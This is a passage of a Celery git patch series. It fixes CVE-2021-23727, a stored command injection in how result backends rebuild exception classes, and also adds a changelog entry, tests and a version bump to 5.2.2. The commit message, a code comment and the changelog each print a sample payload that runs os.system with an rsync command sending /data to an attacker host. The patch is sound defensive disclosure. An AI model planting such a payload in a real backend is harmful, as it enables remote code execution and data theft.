-2182,7 +2182,7 @@ Examples: }, } - task_routes = ('myapp.tasks.route_task', {'celery.ping': 'default}) + task_routes = ('myapp.tasks.route_task', {'celery.ping': 'default'}) Where ``myapp.tasks.route_task`` could be: From 1f7ad7e6df1e02039b6ab9eec617d283598cad6b Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Sun, 26 Dec 2021 13:35:21 +0200 Subject: [PATCH 412/415] Fix CVE-2021-23727 (Stored Command Injection securtiy vulnerability). When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: `os.system("rsync /data attacker@192.168.56.100:~/data")` by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload `rsync /data attacker@192.168.56.100:~/data` as the exception arguments like so: ```json { "exc_module": "os", 'exc_type': "system", "exc_message": "rsync /data attacker@192.168.56.100:~/data" } ``` According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the tasks's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading. --- celery/backends/base.py | 94 +++++++++++++++++++++++++----------- t/unit/backends/test_base.py | 28 ++++++++++- 2 files changed, 94 insertions(+), 28 deletions(-) diff --git a/celery/backends/base.py b/celery/backends/base.py index ffbd1d0307c..094cbf86921 100644 --- a/celery/backends/base.py +++ b/celery/backends/base.py @@ -25,7 +25,8 @@ from celery.app.task import Context from celery.exceptions import (BackendGetMetaError, BackendStoreError, ChordError, ImproperlyConfigured, - NotRegistered, TaskRevokedError, TimeoutError) + NotRegistered, SecurityError, TaskRevokedError, + TimeoutError) from celery.result import (GroupResult, ResultBase, ResultSet, allow_join_result, result_from_tuple) from celery.utils.collections import BufferMap @@ -338,34 +339,73 @@ def prepare_exception(self, exc, serializer=None): def exception_to_python(self, exc): """Convert serialized exception to Python exception.""" - if exc: - if not isinstance(exc, BaseException): - exc_module = exc.get('exc_module') - if exc_module is None: - cls = create_exception_cls( - from_utf8(exc['exc_type']), __name__) - else: - exc_module = from_utf8(exc_module) - exc_type = from_utf8(exc['exc_type']) - try: - # Load module and find exception class in that - cls = sys.modules[exc_module] - # The type can contain qualified name with parent classes - for name in exc_type.split('.'): - cls = getattr(cls, name) - except (KeyError, AttributeError): - cls = create_exception_cls(exc_type, - celery.exceptions.__name__) - exc_msg = exc['exc_message'] - try: - if isinstance(exc_msg, (tuple, list)): - exc = cls(*exc_msg) - else: - exc = cls(exc_msg) - except Exception as err: # noqa - exc = Exception(f'{cls}({exc_msg})') + if not exc: + return None + elif isinstance(exc, BaseException): if self.serializer in EXCEPTION_ABLE_CODECS: exc = get_pickled_exception(exc) + return exc + elif not isinstance(exc, dict): + try: + exc = dict(exc) + except TypeError as e: + raise TypeError(f"If the stored exception isn't an " + f"instance of " + f"BaseException, it must be a dictionary.\n" + f"Instead got: {exc}") from e + + exc_module = exc.get('exc_module') + try: + exc_type = exc['exc_type'] + except KeyError as e: + raise ValueError("Exception information must include" + "the exception type") from e + if exc_module is None: + cls = create_exception_cls( + exc_type, __name__) + else: + try: + # Load module and find exception class in that + cls = sys.modules[exc_module] + # The type can contain qualified name with parent classes + for name in exc_type.split('.'): + cls = getattr(cls, name) + except (KeyError, AttributeError): + cls = create_exception_cls(exc_type, + celery.exceptions.__name__) + exc_msg = exc.get('exc_message', '') + + # If the recreated exception type isn't indeed an exception, + # this is a security issue. Without the condition below, an attacker + # could exploit a stored command vulnerability to execute arbitrary + # python code such as: + # os.system("rsync /data attacker@192.168.56.100:~/data") + # The attacker sets the task's result to a failure in the result + # backend with the os as the module, the system function as the + # exception type and the payload + # rsync /data attacker@192.168.56.100:~/data + # as the exception arguments like so: + # { + # "exc_module": "os", + # "exc_type": "system", + # "exc_message": "rsync /data attacker@192.168.56.100:~/data" + # } + if not isinstance(cls, type) or not issubclass(cls, BaseException): + fake_exc_type = exc_type if exc_module is None else f'{exc_module}.{exc_type}' + raise SecurityError( + f"Expected an exception class, got {fake_exc_type} with payload {exc_msg}") + + # XXX: Without verifying `cls` is actually an exception class, + # an attacker could execute arbitrary python code. + # cls could be anything, even eval(). + try: + if isinstance(exc_msg, (tuple, list)): + exc = cls(*exc_msg) + else: + exc = cls(exc_msg) + except Exception as err: # noqa + exc = Exception(f'{cls}({exc_msg})') + return exc def prepare_value(self, result): diff --git a/t/unit/backends/test_base.py b/t/unit/backends/test_base.py index 3436053871d..203cbfdd534 100644 --- a/t/unit/backends/test_base.py +++ b/t/unit/backends/test_base.py @@ -1,3 +1,4 @@ +import re from contextlib import contextmanager from unittest.mock import ANY, MagicMock, Mock, call, patch, sentinel @@ -11,7 +12,7 @@ from celery.backends.base import (BaseBackend, DisabledBackend, KeyValueStoreBackend, _nulldict) from celery.exceptions import (BackendGetMetaError, BackendStoreError, - ChordError, TimeoutError) + ChordError, SecurityError, TimeoutError) from celery.result import result_from_tuple from celery.utils import serialization from celery.utils.functional import pass1 @@ -581,6 +582,31 @@ def test_exception_to_python_when_None(self): b = BaseBackend(app=self.app) assert b.exception_to_python(None) is None + def test_not_an_actual_exc_info(self): + pass + + def test_not_an_exception_but_a_callable(self): + x = { + 'exc_message': ('echo 1',), + 'exc_type': 'system', + 'exc_module': 'os' + } + + with pytest.raises(SecurityError, + match=re.escape(r"Expected an exception class, got os.system with payload ('echo 1',)")): + self.b.exception_to_python(x) + + def test_not_an_exception_but_another_object(self): + x = { + 'exc_message': (), + 'exc_type': 'object', + 'exc_module': 'builtins' + } + + with pytest.raises(SecurityError, + match=re.escape(r"Expected an exception class, got builtins.object with payload ()")): + self.b.exception_to_python(x) + def test_exception_to_python_when_attribute_exception(self): b = BaseBackend(app=self.app) test_exception = {'exc_type': 'AttributeDoesNotExist', From 3e5d630f478518eb775c05ba87b29024400fbe68 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Sun, 26 Dec 2021 16:12:41 +0200 Subject: [PATCH 413/415] Fix changelog formatting. --- Changelog.rst | 18 ++++++++++++------ 1 file changed, 12 insertions(+), 6 deletions(-) diff --git a/Changelog.rst b/Changelog.rst index 84d02ba3ae2..0d138c98bd6 100644 --- a/Changelog.rst +++ b/Changelog.rst @@ -12,14 +12,15 @@ an overview of what's new in Celery 5.2. .. _version-5.2.1: 5.2.1 -======= +===== + :release-date: 2021-11-16 8.55 P.M UTC+6:00 :release-by: Asif Saif Uddin - Fix rstrip usage on bytes instance in ProxyLogger. - Pass logfile to ExecStop in celery.service example systemd file. - fix: reduce latency of AsyncResult.get under gevent (#7052) -- Limit redis version: <4.0.0. +- Limit redis version: <4.0.0. - Bump min kombu version to 5.2.2. - Change pytz>dev to a PEP 440 compliant pytz>0.dev.0. - Remove dependency to case (#7077). @@ -31,20 +32,22 @@ an overview of what's new in Celery 5.2. .. _version-5.2.0: 5.2.0 -======= +===== + :release-date: 2021-11-08 7.15 A.M UTC+6:00 :release-by: Asif Saif Uddin - Prevent from subscribing to empty channels (#7040) - fix register_task method. - Fire task failure signal on final reject (#6980) -- Limit pymongo version: <3.12.1 (#7041) +- Limit pymongo version: <3.12.1 (#7041) - Bump min kombu version to 5.2.1 .. _version-5.2.0rc2: 5.2.0rc2 -======= +======== + :release-date: 2021-11-02 1.54 P.M UTC+3:00 :release-by: Naomi Elstein @@ -72,7 +75,7 @@ an overview of what's new in Celery 5.2. .. _version-5.2.0rc1: 5.2.0rc1 -======= +======== :release-date: 2021-09-26 4.04 P.M UTC+3:00 :release-by: Omer Katz @@ -99,6 +102,7 @@ an overview of what's new in Celery 5.2. 5.2.0b3 ======= + :release-date: 2021-09-02 8.38 P.M UTC+3:00 :release-by: Omer Katz @@ -126,6 +130,7 @@ an overview of what's new in Celery 5.2. 5.2.0b2 ======= + :release-date: 2021-08-17 5.35 P.M UTC+3:00 :release-by: Omer Katz @@ -140,6 +145,7 @@ an overview of what's new in Celery 5.2. 5.2.0b1 ======= + :release-date: 2021-08-11 5.42 P.M UTC+3:00 :release-by: Omer Katz From a60b4867f4bd4efa4b5a2834fcf3f757740b1b8f Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Sun, 26 Dec 2021 16:27:26 +0200 Subject: [PATCH 414/415] Add changelog for 5.2.2. --- Changelog.rst | 38 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 38 insertions(+) diff --git a/Changelog.rst b/Changelog.rst index 0d138c98bd6..c5cfddf4075 100644 --- a/Changelog.rst +++ b/Changelog.rst @@ -8,6 +8,44 @@ This document contains change notes for bugfix & new features in the & 5.2.x series, please see :ref:`whatsnew-5.2` for an overview of what's new in Celery 5.2. +.. _version-5.2.2: + +5.2.2 +===== + +:release-date: 2021-12-26 16:30 P.M UTC+2:00 +:release-by: Omer Katz + +- Various documentation fixes. +- Fix CVE-2021-23727 (Stored Command Injection security vulnerability). + + When a task fails, the failure information is serialized in the backend. + In some cases, the exception class is only importable from the + consumer's code base. In this case, we reconstruct the exception class + so that we can re-raise the error on the process which queried the + task's result. This was introduced in #4836. + If the recreated exception type isn't an exception, this is a security issue. + Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: + ``os.system("rsync /data attacker@192.168.56.100:~/data")`` + by setting the task's result to a failure in the result backend with the os, + the system function as the exception type and the payload ``rsync /data attacker@192.168.56.100:~/data`` as the exception arguments like so: + + .. code-block:: python + + { + "exc_module": "os", + 'exc_type': "system", + "exc_message": "rsync /data attacker@192.168.56.100:~/data" + } + + According to my analysis, this vulnerability can only be exploited if + the producer delayed a task which runs long enough for the + attacker to change the result mid-flight, and the producer has + polled for the task's result. + The attacker would also have to gain access to the result backend. + The severity of this security vulnerability is low, but we still + recommend upgrading. + .. _version-5.2.1: From b21c13d234dd6d6c197436374ab1bb5db4be62c7 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Sun, 26 Dec 2021 16:30:10 +0200 Subject: [PATCH 415/415] =?UTF-8?q?Bump=20version:=205.2.1=20=E2=86=92=205?= =?UTF-8?q?.2.2?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .bumpversion.cfg | 2 +- README.rst | 2 +- celery/__init__.py | 2 +- docs/includes/introduction.txt | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/.bumpversion.cfg b/.bumpversion.cfg index ad96c6ecbea..481050587d0 100644 --- a/.bumpversion.cfg +++ b/.bumpversion.cfg @@ -1,5 +1,5 @@ [bumpversion] -current_version = 5.2.1 +current_version = 5.2.2 commit = True tag = True parse = (?P\d+)\.(?P\d+)\.(?P\d+)(?P[a-z\d]+)? diff --git a/README.rst b/README.rst index 03bbec6f613..78172ff29a5 100644 --- a/README.rst +++ b/README.rst @@ -2,7 +2,7 @@ |build-status| |coverage| |license| |wheel| |pyversion| |pyimp| |ocbackerbadge| |ocsponsorbadge| -:Version: 5.2.1 (dawn-chorus) +:Version: 5.2.2 (dawn-chorus) :Web: https://docs.celeryproject.org/en/stable/index.html :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ diff --git a/celery/__init__.py b/celery/__init__.py index 320228e92ca..19f860fd0d5 100644 --- a/celery/__init__.py +++ b/celery/__init__.py @@ -17,7 +17,7 @@ SERIES = 'dawn-chorus' -__version__ = '5.2.1' +__version__ = '5.2.2' __author__ = 'Ask Solem' __contact__ = 'auvipy@gmail.com' __homepage__ = 'http://celeryproject.org' diff --git a/docs/includes/introduction.txt b/docs/includes/introduction.txt index 50292b1d7aa..a5a59d9b467 100644 --- a/docs/includes/introduction.txt +++ b/docs/includes/introduction.txt @@ -1,4 +1,4 @@ -:Version: 5.2.1 (cliffs) +:Version: 5.2.2 (cliffs) :Web: http://celeryproject.org/ :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/